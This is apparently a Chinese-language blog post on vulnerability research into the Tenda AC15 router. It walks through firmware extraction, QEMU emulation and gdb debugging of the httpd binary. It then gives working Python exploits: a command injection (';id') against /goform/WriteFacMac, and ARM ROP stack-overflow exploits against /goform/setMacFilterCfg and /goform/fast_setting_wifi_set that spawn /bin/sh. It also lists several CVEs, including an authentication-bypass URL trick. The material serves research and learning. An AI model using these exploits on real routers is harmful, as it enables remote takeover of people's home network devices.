Tenda AC15
2022-07-17 20:48:33

Tenda AC15研究历程

固件获取

获取固件

https://down.tendacn.com/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.20_multi_TDE01.zip

提取固件

binwalk -Me AC15.bin

获得固件文件系统squashfs

固件分析与模拟

一般来说,都会去分析http相关的程序:

grep -r "http" > ../http.txt

#在http.txt中找到目标http程序

对其进行分析:

./bin/httpd

我们首先就需要尝试能不能模拟该程序:

sudo qemu-arm-static -L ./ ./bin/httpd

发现并不成功,IDA打开程序,定位至主函数,发现了启动该程序需要几个条件:

一个是check_network函数判断

一个是ConnectCfm函数判断

那我们就需要将这两个判断条件patch掉即可(修复):

patch完之后再进行模拟,成功启动,但是程序启动后的IP不太对,根据一个师傅的文章得知:

https://blog.csdn.net/song_lee/article/details/113800058

网卡配置信息需要check_network函数==》该函数定义在libccommon.so中==》

check_network调用了函数getLanName==》getLanName又调用了外部函数get_eth_name函数

==》这个外部函数定义在libcChipApi.so中,并且该函数就是为了获取网卡信息==》网卡顺序:br0, br1, eth0.1, eth0.2==》

所以我们只需要自定义添加一个br0网卡即可:

sudo tunctl -t br0 -u <username>
sudo ifconfig br0 192.168.80.1/24

再次模拟运行httpd程序:

(成功)

动态调试

只需要在模拟程序的时候加一个监听端口即可

#终端1
sudo qemu-arm-static -g 1234 -L ./ ./bin/httpd

#终端2
set sysroot <固件目录>
file <目标程序所在路径>
target remote :1234

漏洞搜集

寻找一些漏洞分析一下(不一定需要同版本,反正只是借鉴一下)

CVE-2018-18729

/goform/GetParentControlInfo接口的堆溢出

数据复制到chunk中没有限制数据长度

https://github.com/ZIllR0/Routers/blob/master/Tenda/heapoverflow1.md

CVE-2018-28731

/goform/addWifiMacFilter接口的栈溢出

https://github.com/ZIllR0/Routers/blob/master/Tenda/stack4.md

CVE-2018-18732

/goform/SetSysTimeCfg接口的栈溢出

https://github.com/ZIllR0/Routers/blob/master/Tenda/stack2.md

CVE-2021-44971

通过伪造URL实现身份认证绕过

URL带上 img/main-logo.png  即可实现认证绕过

CVE-2022-28556

/goform/setpptpservercfg接口的栈溢出

CVE-2018-18728,CVE-2022-28557

两个编号是一样的洞,应该是版本不一样吧

/goform/SetSambaCfg接口:远程代码执行

通过伪造usbName的值实现命令执行

未知编号

一个我不知道编号但是撞洞的远程代码执行(我没找到编号就试着交了一下,然后就撞了)

/goform/WriteFacMac接口的远程代码执行

EXP

import requests
from pwn import *

url = "http://192.168.80.1/goform/WriteFacMac"
cookie = {"Cookie":"password=12345"}
payload=";id"
data = {"mac": payload}
requests.post(url, cookies=cookie, data=data)

执行效果

自己尝试的get shell:

setMacFilterCfg

首先反向定位漏洞位置:

在使用strcpy函数时没用控制数据长度导致栈溢出

位于/goform/setMacFilterCfg接口:

==》

==》

分析:首先是走到setMacFilterCfg函数处,就需要URL为:

url = "http://192.168.80.1/goform/setMacFilterCfg"

然后就是想要到达pwn3的地方,但是首先函数获取一个macFilterType的值,并经过sub_C1F2C函数处理后返回v19==》再对v19进行判断,当v19为0时,才能进入else中

那首先就是要给macFilterType赋值,而这个值要先分析sub_C1F2C函数:

我们需要返回为0,就需要过strcmp的判断==》需要给macFilterType赋值为black或者white

==》赋值完后我们成功进入了else中,来到pwn3函数

else的第一条代码就是获取deviceList的值并传入pwn3函数中(第二个参数)

传入的pwn参数又会传给pwn2函数,作为第二个参数:

==》这传入的第二个参数又会作为第一个参数传入pwn1函数:

在pwn1函数中,该传入的deviceList的值会首先使用strchr获取其中的’\r’字符串==》

再将剩余值作为strcpy函数的参数==》

这里发现没有对该数据进行长度限制,直接复制进栈内==》栈溢出

接下来就是考虑覆盖返回地址了:

在strcpy结束后就return 0了==》寻找对应的汇编(tab)

注意到最后返回是弹出栈中的值为r4,r11,pc寄存器赋值==》而我们要控制的则是pc寄存器

动态调试

动态调试的目的就是为了验证我们刚刚的静态分析是否正确,并调试出数据溢出的长度

首先就是按照静态分析设计POC了:

import requests
from pwn import *

url = "http://192.168.80.1/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}

payload="\r"+"a"*500

data = {"macFilterType": "white", "deviceList": payload}
requests.post(url, cookies=cookie, data=data)

调试过程

首先按照上方的步骤启动并监听httpd

在函数返回处pop下断点

b *0x000C3594

在gdb中按下c,回车启动

执行两次poc:

gdb将成功断点于pop处

单步执行一次,发现了pc回到了pwn2函数

继续跟进,来到pwn2的返回地址处

在pwn2return的地方,下一个断点:

b *0x000C29EC
c

此时我们发现栈中的数据就为我们传入的”a”,并且在单步执行pop后我们就会将pc寄存器覆盖成我们传入的数据

此时我们已经控制了返回地址,但是我们还不知道溢出的长度

但是我们看到栈中还有好多”a”未被使用:

这些未被使用的”a”为20*16=320==》得出需要用到的数据为500-320=180

176为垃圾数据,接下来就为pc寄存器了(返回地址)

ROP

控制了程序执行流,接下来就是ROP了

一般来说,需要从libc中寻找ROPgadget(./lib/libc.so.2)

所以就需要libc的基地址==》在gdb中走到调用liibc函数的地址处,减去在libc中的偏移就是libc的基地址

我这里是:

libcbase=0x409f5000

最后要get shell的,那就需要system和”/bin/sh”

system=0x5A270
command="/bin/sh"

在x86的arm中第一参数需要用到的寄存器为r0,所以需要为r0赋值为command

而command又会传入栈内,那这里就需要一个ROPgadget:将栈中的地址赋给r0

布置完之后还需要去执行system==》这里就需要将栈中的system地址弹出到寄存器中并跳转至该寄存器地址执行

#布置r0:
ROPgadget --binary libc.so.0 |grep "mov r0, sp ;"

找到一个将sp的值传给r0的,还能跳转至r3寄存器的指令

那接下来就是找将system弹入r3的ROPgadget了:

ROPgadget --binary libc.so.0 --only "pop|ret" |grep "r3"

剩下的就是布置payload了:

pop_r3_pc=0x00018298
mov_r0_sp=0x00040cb8
gadget1=libcbase+pop_r3_pc#0x40a0d298
gadget2=libcbase+mov_r0_sp#0x40a35cb8

payload="\r"+"A"*176+p32(gadget1)+p32(system)+p32(gadget2)+command

综合一下得到了EXP

import requests
from pwn import *

url = "http://192.168.80.1/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}

libcbase=0x409f5000
system=0x5A270
command="/bin/sh"
pop_r3_pc=0x00018298
mov_r0_sp=0x00040cb8
gadget1=libcbase+pop_r3_pc#0x40a0d298
gadget2=libcbase+mov_r0_sp#0x40a35cb8
system=libcbase+system

payload="\r"+"A"*176+p32(gadget1)+p32(system)+p32(gadget2)+command

data = {"macFilterType": "white", "deviceList": payload}
requests.post(url, cookies=cookie, data=data)

EXP调试

我们直接在gadget1处下断点

确实劫持到ROPgadget了,并且栈内的sp指向的也是system函数的地址,没有问题

单步执行(n)

r3寄存器如预期中写入了system函数的地址

并且此时sp指向的栈内存放着command==》接下来就是将command赋值给r0了

继续单步执行:

r0寄存器也布置好了,接下来就是到r3去执行system函数就可以get shell了:

直接c继续执行:

看来已经成功getshell了,指向下命令试试:

fast_setting_wifi_set

我还在fast_setting_wifi_set接口也找到了一个strcpy:

这个更简单了,也没有其他的条件需要绕过,动态调试也和上面setMacFilterCfg接口一样:

首先就是断点在return处:

一样的计算方法:得到数据溢出长度:124,后面就是返回地址了,ROPgadget不变即可

EXP

import requests
from pwn import *

url = "http://192.168.80.1/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=12345"}

libcbase=0x409f5000
system=0x5A270
command="/bin/sh"
pop_r3_pc=0x00018298
mov_r0_sp=0x00040cb8
gadget1=libcbase+pop_r3_pc#0x40a0d298
gadget2=libcbase+mov_r0_sp#0x40a35cb8
system=libcbase+system

payload="a"*124+p32(gadget1)+p32(system)+p32(gadget2)+command
data = {"ssid": payload}
requests.post(url, cookies=cookie, data=data)

使用效果